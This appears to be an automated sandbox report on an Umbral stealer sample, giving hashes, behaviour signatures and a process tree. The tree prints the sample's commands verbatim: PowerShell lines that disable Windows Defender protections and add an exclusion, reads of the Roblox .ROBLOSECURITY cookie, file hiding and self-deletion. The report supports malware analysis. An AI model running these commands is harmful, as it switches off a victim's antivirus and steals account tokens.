Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26-11-2024 22:45

General

  • Target

    69f81a0239ba12507c8e9aec8e3d1667d230d38daadf50039b7968b2ca5e1b49N.exe

  • Size

    229KB

  • MD5

    cbbf1ff408089c98de723a2bd5720e50

  • SHA1

    a186fb0e8cb8ce8c65c473a07a42b9abd29d699d

  • SHA256

    69f81a0239ba12507c8e9aec8e3d1667d230d38daadf50039b7968b2ca5e1b49

  • SHA512

    92f1df204fd200685a90de370437c255520e33c66dd7e6e667985c14b99ea449d69709591102db0ae91fd35fef70a13c6dea02c3d5a4417b891befc60816f1ec

  • SSDEEP

    6144:9loZM+rIkd8g+EtXHkv/iD4giX9UgGhZq+fiQBFUuQb8e1mLucSUi:foZtL+EP8gI9UgGhZq+fiQBFUT33d

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\69f81a0239ba12507c8e9aec8e3d1667d230d38daadf50039b7968b2ca5e1b49N.exe
    "C:\Users\Admin\AppData\Local\Temp\69f81a0239ba12507c8e9aec8e3d1667d230d38daadf50039b7968b2ca5e1b49N.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2480
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2104
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\69f81a0239ba12507c8e9aec8e3d1667d230d38daadf50039b7968b2ca5e1b49N.exe"
      2⤵
      • Views/modifies file attributes
      PID:2228
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\69f81a0239ba12507c8e9aec8e3d1667d230d38daadf50039b7968b2ca5e1b49N.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1396
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:844
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2696
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:1380
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:1816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2008
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:2176
        • C:\Windows\system32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\69f81a0239ba12507c8e9aec8e3d1667d230d38daadf50039b7968b2ca5e1b49N.exe" && pause
          2⤵
          • Deletes itself
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:2188
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2704

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DYAIV2BEQWJYH79FW0RN.temp

        Filesize

        7KB

        MD5

        57984675080d72ab29e39459af1bd5c7

        SHA1

        a5a59f61e4276904e66763a5690407667085c119

        SHA256

        fbe142113787d340beef9d6fabbbd7d83f9e12ecdea1cf7851d230e3c5fef13c

        SHA512

        c3cfa8d9b091f26b656292113d1281dcb7308668c22b7570f723702f86698c3294ca16073eed4f1f5113d31e270e52c059b6611dc91a8a834ca037bf3590843e

      • memory/2008-43-0x0000000002860000-0x0000000002868000-memory.dmp

        Filesize

        32KB

      • memory/2480-0-0x000007FEF5263000-0x000007FEF5264000-memory.dmp

        Filesize

        4KB

      • memory/2480-1-0x0000000001380000-0x00000000013C0000-memory.dmp

        Filesize

        256KB

      • memory/2480-2-0x000007FEF5260000-0x000007FEF5C4C000-memory.dmp

        Filesize

        9.9MB

      • memory/2480-47-0x000007FEF5260000-0x000007FEF5C4C000-memory.dmp

        Filesize

        9.9MB

      • memory/2732-14-0x000000001B640000-0x000000001B922000-memory.dmp

        Filesize

        2.9MB

      • memory/2732-15-0x00000000022D0000-0x00000000022D8000-memory.dmp

        Filesize

        32KB

      • memory/2764-7-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

        Filesize

        2.9MB

      • memory/2764-8-0x00000000027E0000-0x00000000027E8000-memory.dmp

        Filesize

        32KB